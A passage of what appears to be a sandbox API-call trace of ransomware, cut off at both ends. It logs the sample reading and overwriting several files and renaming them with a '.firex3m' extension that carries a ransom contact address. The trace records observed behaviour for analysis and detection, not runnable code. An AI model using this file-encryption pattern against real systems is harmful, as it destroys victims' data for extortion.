(dwMilliseconds=0x1) [0078.963] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] Sleep (dwMilliseconds=0x1) [0079.084] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.222] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.350] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.390] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.515] Sleep (dwMilliseconds=0x1) [0079.543] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.601] Sleep (dwMilliseconds=0x1) [0079.611] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.676] Sleep (dwMilliseconds=0x1) [0079.696] Sleep (dwMilliseconds=0x1) [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] Sleep (dwMilliseconds=0x1) [0079.799] Sleep (dwMilliseconds=0x1) [0079.817] Sleep (dwMilliseconds=0x1) [0079.829] Sleep (dwMilliseconds=0x1) [0079.892] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.937] Sleep (dwMilliseconds=0x1) [0079.987] Sleep (dwMilliseconds=0x1) [0080.047] Sleep (dwMilliseconds=0x1) [0080.071] Sleep (dwMilliseconds=0x1) [0080.083] Sleep (dwMilliseconds=0x1) [0080.100] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.161] Sleep (dwMilliseconds=0x1) [0080.172] Sleep (dwMilliseconds=0x1) [0080.238] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.302] Sleep (dwMilliseconds=0x1) [0080.315] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.385] Sleep (dwMilliseconds=0x1) [0080.392] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.442] Sleep (dwMilliseconds=0x1) [0080.502] Sleep (dwMilliseconds=0x1) [0080.527] Sleep (dwMilliseconds=0x1) [0080.543] Sleep (dwMilliseconds=0x1) [0080.568] Sleep (dwMilliseconds=0x1) [0080.582] Sleep (dwMilliseconds=0x1) [0080.606] Sleep (dwMilliseconds=0x1) [0080.661] Sleep (dwMilliseconds=0x1) [0080.673] Sleep (dwMilliseconds=0x1) [0080.704] Sleep (dwMilliseconds=0x1) [0080.722] Sleep (dwMilliseconds=0x1) [0080.766] Sleep (dwMilliseconds=0x1) [0080.787] Sleep (dwMilliseconds=0x1) [0080.805] Sleep (dwMilliseconds=0x1) [0080.819] Sleep (dwMilliseconds=0x1) [0080.836] Sleep (dwMilliseconds=0x1) [0080.847] Sleep (dwMilliseconds=0x1) [0080.889] Sleep (dwMilliseconds=0x1) [0080.918] Sleep (dwMilliseconds=0x1) [0080.922] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.957] Sleep (dwMilliseconds=0x1) [0080.978] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.004] Sleep (dwMilliseconds=0x1) [0081.018] Sleep (dwMilliseconds=0x1) [0081.037] Sleep (dwMilliseconds=0x1) [0081.049] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.525] Sleep (dwMilliseconds=0x1) [0081.543] Sleep (dwMilliseconds=0x1) [0081.557] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.688] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.755] Sleep (dwMilliseconds=0x1) [0081.778] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.889] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.925] Sleep (dwMilliseconds=0x1) [0081.944] Sleep (dwMilliseconds=0x1) [0081.965] Sleep (dwMilliseconds=0x1) [0081.989] Sleep (dwMilliseconds=0x1) [0082.001] Sleep (dwMilliseconds=0x1) [0082.038] Sleep (dwMilliseconds=0x1) [0082.048] Sleep (dwMilliseconds=0x1) [0082.070] Sleep (dwMilliseconds=0x1) [0082.110] Sleep (dwMilliseconds=0x1) [0082.135] Sleep (dwMilliseconds=0x1) [0082.148] Sleep (dwMilliseconds=0x1) [0082.161] Sleep (dwMilliseconds=0x1) [0082.191] Sleep (dwMilliseconds=0x1) [0082.217] Sleep (dwMilliseconds=0x1) [0082.230] Sleep (dwMilliseconds=0x1) [0082.261] Sleep (dwMilliseconds=0x1) [0082.274] Sleep (dwMilliseconds=0x1) [0082.297] Sleep (dwMilliseconds=0x1) [0082.307] Sleep (dwMilliseconds=0x1) [0082.373] Sleep (dwMilliseconds=0x1) [0082.415] Sleep (dwMilliseconds=0x1) [0082.543] Sleep (dwMilliseconds=0x1) [0082.585] Sleep (dwMilliseconds=0x1) [0082.639] Sleep (dwMilliseconds=0x1) [0082.680] Sleep (dwMilliseconds=0x1) [0082.731] Sleep (dwMilliseconds=0x1) [0082.774] Sleep (dwMilliseconds=0x1) [0082.824] Sleep (dwMilliseconds=0x1) [0082.868] Sleep (dwMilliseconds=0x1) [0082.918] Sleep (dwMilliseconds=0x1) [0082.966] Sleep (dwMilliseconds=0x1) [0083.018] Sleep (dwMilliseconds=0x1) [0083.053] Sleep (dwMilliseconds=0x1) [0083.106] Sleep (dwMilliseconds=0x1) [0083.148] Sleep (dwMilliseconds=0x1) [0083.203] Sleep (dwMilliseconds=0x1) [0083.239] Sleep (dwMilliseconds=0x1) [0083.295] Sleep (dwMilliseconds=0x1) [0083.335] Sleep (dwMilliseconds=0x1) [0083.387] Sleep (dwMilliseconds=0x1) [0083.434] Sleep (dwMilliseconds=0x1) [0083.705] Sleep (dwMilliseconds=0x1) [0083.749] Sleep (dwMilliseconds=0x1) [0083.804] Sleep (dwMilliseconds=0x1) [0083.910] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.090] Sleep (dwMilliseconds=0x1) [0084.204] Sleep (dwMilliseconds=0x1) [0084.341] Sleep (dwMilliseconds=0x1) [0084.740] Sleep (dwMilliseconds=0x1) [0084.809] Sleep (dwMilliseconds=0x1) [0084.879] Sleep (dwMilliseconds=0x1) [0084.958] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.123] Sleep (dwMilliseconds=0x1) [0085.180] Sleep (dwMilliseconds=0x1) [0085.344] Sleep (dwMilliseconds=0x1) [0085.392] Sleep (dwMilliseconds=0x1) [0085.734] Sleep (dwMilliseconds=0x1) [0085.833] Sleep (dwMilliseconds=0x1) [0085.961] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.191] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.348] Sleep (dwMilliseconds=0x1) [0086.592] Sleep (dwMilliseconds=0x1) [0086.893] Sleep (dwMilliseconds=0x1) [0087.095] Sleep (dwMilliseconds=0x1) [0087.467] Sleep (dwMilliseconds=0x1) [0089.109] Sleep (dwMilliseconds=0x1) [0090.327] Sleep (dwMilliseconds=0x1) [0091.761] Sleep (dwMilliseconds=0x1) [0093.188] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\SetupUtility.exe", len=0x26 | out: pbstr=0x3e3ff7c*="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 1 [0093.188] GetProcessHeap () returned 0x630000 [0093.188] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64fec8, Size=0xa0) returned 0x6e37f0 [0093.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0093.214] CloseHandle (hObject=0x6d4) returned 1 [0093.220] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.221] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.221] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.221] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUtility.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPU~1.FIR")) returned 0x6d5580 [0093.221] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0093.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0093.222] GetProcessHeap () returned 0x630000 [0093.222] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70fa2a8 [0093.222] GetProcessHeap () returned 0x630000 [0093.222] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71056d8 [0093.223] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.223] ReadFile (in: hFile=0x6d4, lpBuffer=0x70fa2a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70fa2a8*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.428] GetProcessHeap () returned 0x630000 [0100.428] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.428] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.428] WriteFile (in: hFile=0x6d4, lpBuffer=0x71056d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71056d8*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.428] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.429] WriteFile (in: hFile=0x6d4, lpBuffer=0x7110ad7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7110ad7*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.429] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.429] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.429] CloseHandle (hObject=0x6d4) returned 1 [0100.431] GetProcessHeap () returned 0x630000 [0100.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71056d8 | out: hHeap=0x630000) returned 1 [0100.432] GetProcessHeap () returned 0x630000 [0100.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70fa2a8 | out: hHeap=0x630000) returned 1 [0100.432] GetProcessHeap () returned 0x630000 [0100.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0100.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0100.432] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x1ce6d4d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1777c, dwReserved0=0xccc7496, dwReserved1=0x70fa2a0, cFileName="SetupUtility.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPU~1.FIR")) returned 0x6d4f80 [0100.432] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0100.432] Sleep (dwMilliseconds=0x1) [0101.388] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Boot\\Fonts\\msyhn_boot.ttf", len=0x1c | out: pbstr=0x3e3ff7c*="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 1 [0101.388] GetProcessHeap () returned 0x630000 [0101.388] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d52c0, Size=0x30) returned 0x6ed6188 [0101.388] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] Sleep (dwMilliseconds=0x1) [0102.353] Sleep (dwMilliseconds=0x1) [0102.377] Sleep (dwMilliseconds=0x1) [0102.379] Sleep (dwMilliseconds=0x1) [0102.397] Sleep (dwMilliseconds=0x1) [0102.430] Sleep (dwMilliseconds=0x1) [0102.460] Sleep (dwMilliseconds=0x1) [0102.473] Sleep (dwMilliseconds=0x1) [0102.490] Sleep (dwMilliseconds=0x1) [0102.505] Sleep (dwMilliseconds=0x1) [0102.521] Sleep (dwMilliseconds=0x1) [0102.539] Sleep (dwMilliseconds=0x1) [0102.556] Sleep (dwMilliseconds=0x1) [0102.568] Sleep (dwMilliseconds=0x1) [0102.583] Sleep (dwMilliseconds=0x1) [0102.599] Sleep (dwMilliseconds=0x1) [0102.614] Sleep (dwMilliseconds=0x1) [0102.631] Sleep (dwMilliseconds=0x1) [0102.662] Sleep (dwMilliseconds=0x1) [0102.677] Sleep (dwMilliseconds=0x1) [0102.754] Sleep (dwMilliseconds=0x1) [0102.771] Sleep (dwMilliseconds=0x1) [0102.787] Sleep (dwMilliseconds=0x1) [0102.806] Sleep (dwMilliseconds=0x1) [0102.818] Sleep (dwMilliseconds=0x1) [0102.884] Sleep (dwMilliseconds=0x1) [0102.900] Sleep (dwMilliseconds=0x1) [0102.928] Sleep (dwMilliseconds=0x1) [0102.943] Sleep (dwMilliseconds=0x1) [0102.958] Sleep (dwMilliseconds=0x1) [0102.974] Sleep (dwMilliseconds=0x1) [0102.990] Sleep (dwMilliseconds=0x1) [0103.005] Sleep (dwMilliseconds=0x1) [0103.021] Sleep (dwMilliseconds=0x1) [0103.087] Sleep (dwMilliseconds=0x1) [0103.099] Sleep (dwMilliseconds=0x1) [0103.114] Sleep (dwMilliseconds=0x1) [0103.130] Sleep (dwMilliseconds=0x1) [0103.150] Sleep (dwMilliseconds=0x1) [0103.166] Sleep (dwMilliseconds=0x1) [0103.183] Sleep (dwMilliseconds=0x1) [0103.193] Sleep (dwMilliseconds=0x1) [0103.208] Sleep (dwMilliseconds=0x1) [0103.224] Sleep (dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.321] Sleep (dwMilliseconds=0x1) [0103.366] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.434] Sleep (dwMilliseconds=0x1) [0103.448] Sleep (dwMilliseconds=0x1) [0103.467] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.527] Sleep (dwMilliseconds=0x1) [0103.543] Sleep (dwMilliseconds=0x1) [0103.560] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", len=0x40 | out: pbstr=0x3e3ff7c*="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 1 [0103.560] GetProcessHeap () returned 0x630000 [0103.560] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x14) returned 0x6b0478 [0103.560] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0103.840] CloseHandle (hObject=0x4c0) returned 1 [0103.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.840] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.841] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x28, dwReserved1=0xffffffff, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MID969~1.FIR")) returned 0x6d51c0 [0103.841] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0103.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0103.841] GetProcessHeap () returned 0x630000 [0103.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x709a868 [0103.841] GetProcessHeap () returned 0x630000 [0103.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a5c98 [0103.841] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.841] ReadFile (in: hFile=0x4c0, lpBuffer=0x709a868, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709a868*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.202] GetProcessHeap () returned 0x630000 [0112.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.203] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.203] WriteFile (in: hFile=0x4c0, lpBuffer=0x70a5c98*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a5c98*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.203] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.203] WriteFile (in: hFile=0x4c0, lpBuffer=0x70b1097*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b1097*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.203] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.203] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.203] CloseHandle (hObject=0x4c0) returned 1 [0112.205] GetProcessHeap () returned 0x630000 [0112.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a5c98 | out: hHeap=0x630000) returned 1 [0112.205] GetProcessHeap () returned 0x630000 [0112.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709a868 | out: hHeap=0x630000) returned 1 [0112.205] GetProcessHeap () returned 0x630000 [0112.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.205] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8d44956, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xccc7496, dwReserved1=0x709a860, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MID969~1.FIR")) returned 0x6d4e40 [0112.205] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0112.205] Sleep (dwMilliseconds=0x1) [0113.491] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.555] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.212] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.905] Sleep (dwMilliseconds=0x1) [0117.118] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe", len=0x33 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 1 [0117.118] GetProcessHeap () returned 0x630000 [0117.118] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5200, Size=0x30) returned 0x6ed5d60 [0117.118] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0117.118] CloseHandle (hObject=0x708) returned 1 [0117.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.119] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.119] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m", 